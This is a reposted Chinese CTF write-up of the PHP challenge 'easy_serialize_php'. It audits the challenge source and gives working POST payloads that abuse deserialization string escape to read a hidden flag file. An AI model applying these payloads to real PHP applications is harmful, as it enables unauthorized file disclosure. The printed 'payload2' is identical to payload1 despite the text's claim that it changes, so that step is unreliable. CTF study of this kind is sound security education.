飞道的博客

[安洵杯 2019]easy_serialize_php

335人阅读  评论(0)

考查点:代码审计,php反序列化字符串逃逸

目录

解题过程

代码审计

先给出payload

参考文章


解题过程

首先打开题目,是个超链接

点击,直接就是代码审计


  
  1. <?php
  2. $function = @$_GET[ 'f'];
  3. function filter($img){
  4. $filter_arr = array( 'php', 'flag', 'php5', 'php4', 'fl1g');
  5. $filter = '/'.implode( '|',$filter_arr). '/i';
  6. return preg_replace($filter, '',$img);
  7. }
  8. if($_SESSION){
  9. unset($_SESSION); //首先将_SESSION数组中的数据进行释放
  10. }
  11. $_SESSION[ "user"] = 'guest';
  12. $_SESSION[ 'function'] = $function;
  13. extract($_POST); //对POST传值的数据进行赋值
  14. if(!$function){ //如果不传值,就进行显示源代码的操作
  15. echo '<a href="index.php?f=highlight_file">source_code</a>';
  16. }
  17. if(!$_GET[ 'img_path']){ //其实这里就决定了初始的_SESSION[img]没啥用,因为不管怎样最后都不可控
  18. $_SESSION[ 'img'] = base64_encode( 'guest_img.png');
  19. } else{
  20. $_SESSION[ 'img'] = sha1(base64_encode($_GET[ 'img_path'])); //进行了sha1加密操作,这一步估计是没有利用的可能了
  21. }
  22. $serialize_info = filter(serialize($_SESSION)); //对序列化后的字符串进行过滤操作
  23. if($function == 'highlight_file'){
  24. highlight_file( 'index.php');
  25. } else if($function == 'phpinfo'){
  26. eval( 'phpinfo();'); //maybe you can find something in here! //找到了 d0g3_f1ag.php ,估计需要将其整进image里面
  27. } else if($function == 'show_image'){
  28. $userinfo = unserialize($serialize_info); //返序列化操作
  29. echo file_get_contents(base64_decode($userinfo[ 'img']));
  30. }

代码审计

以GET方式传入$f,并且POST方式传入数据会extract()回对变量进行赋值。同时会进行一些赋初值操作(不过没用,最后会被我们传入的数据覆盖)。

我们传入的数据user,function,img,都存放在$_SESSION数组中,并且初始的img是没用的,基本已经堵死了


  
  1. if(!$_GET[ 'img_path']){
  2. $_SESSION[ 'img'] = base64_encode( 'guest_img.png');
  3. } else{
  4. $_SESSION[ 'img'] = sha1(base64_encode($_GET[ 'img_path'])); //进行了sha1加密操作,这一步估计是没有利用的可能了
  5. }

同时会对$_SESSION数组进行序列化,过滤,反序列化,然后文件读取操作,这就是利用点


  
  1. $serialize_info = filter(serialize($_SESSION)); //对序列化后的字符串进行过滤操作
  2. if($function == 'show_image'){
  3. $userinfo = unserialize($serialize_info); //反序列化操作
  4. echo file_get_contents(base64_decode($userinfo[ 'img'])); //文件读取
  5. }

根据提示,我们首先令$function=phpinfo查看信息,得到d0g3_f1ag.php

我们希望file_get_contents(base64_decode($userinfo['img']))可以得到d0g3_f1ag.php


  
  1. base64_decode($userinfo[ 'img'])=d0g3_f1ag.php
  2. $userinfo[ 'img']=ZDBnM19mMWFnLnBocA==

这个题目需要用到php反序列化字符逃逸的知识

先给出payload

payload1:


  
  1. GET
  2. ?f=show_image
  3. POST
  4. _SESSION[user]=flagflagflagflagphpphp&_SESSION[ function]=;s: 8: "function";s: 10: "show_image";s: 3: "img";s: 20: "ZDBnM19mMWFnLnBocA==";}

payload2:


  
  1. GET
  2. ?f=show_image
  3. POST
  4. _SESSION[user]=flagflagflagflagphpphp&_SESSION[ function]=;s: 8: "function";s: 10: "show_image";s: 3: "img";s: 20: "ZDBnM19mMWFnLnBocA==";}

首先分析payload1

此次过滤函数是将关键词替换为空,所以字符串长度会减少,我们可以将user的值定为关键词集合,而把function中的值定为function和img的键和值

因为序列化之后

a:3:{s:4:"user";s:22:"flagflagflagflagphpphp";s:8:"function";s:73:";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

过滤后

a:3:{s:4:"user";s:22:"";s:8:"function";s:73:";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

红字部分是22个字符,需要被和谐进user的值中,所以flag和php的字符串长度为22,也就是flag*4+php*2,才能够成功。

其实也就是


  
  1. array( 3) {
  2. [ "user"]=>
  3. string( 22) "";s: 8: "function";s: 73: "
  4. [" function"]=>
  5. string(10) "show_image"
  6. ["img"]=>
  7. string(20) "ZDBnM19mMWFnLnBocA=="
  8. }

输入payload1,回显

提示我们flag在 /d0g3_fllllllag 中,


  
  1. var_dump(base64_encode( '/d0g3_fllllllag'));
  2. string( 20) "L2QwZzNfZmxsbGxsbGFn"

刚好长度为20,直接套进payload1,就得payload2,得到flag。


参考文章

1. PHP反序列化字符逃逸详解

2. [0CTF 2016]piapiapia


转载:https://blog.csdn.net/RABCDXB/article/details/115559666
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场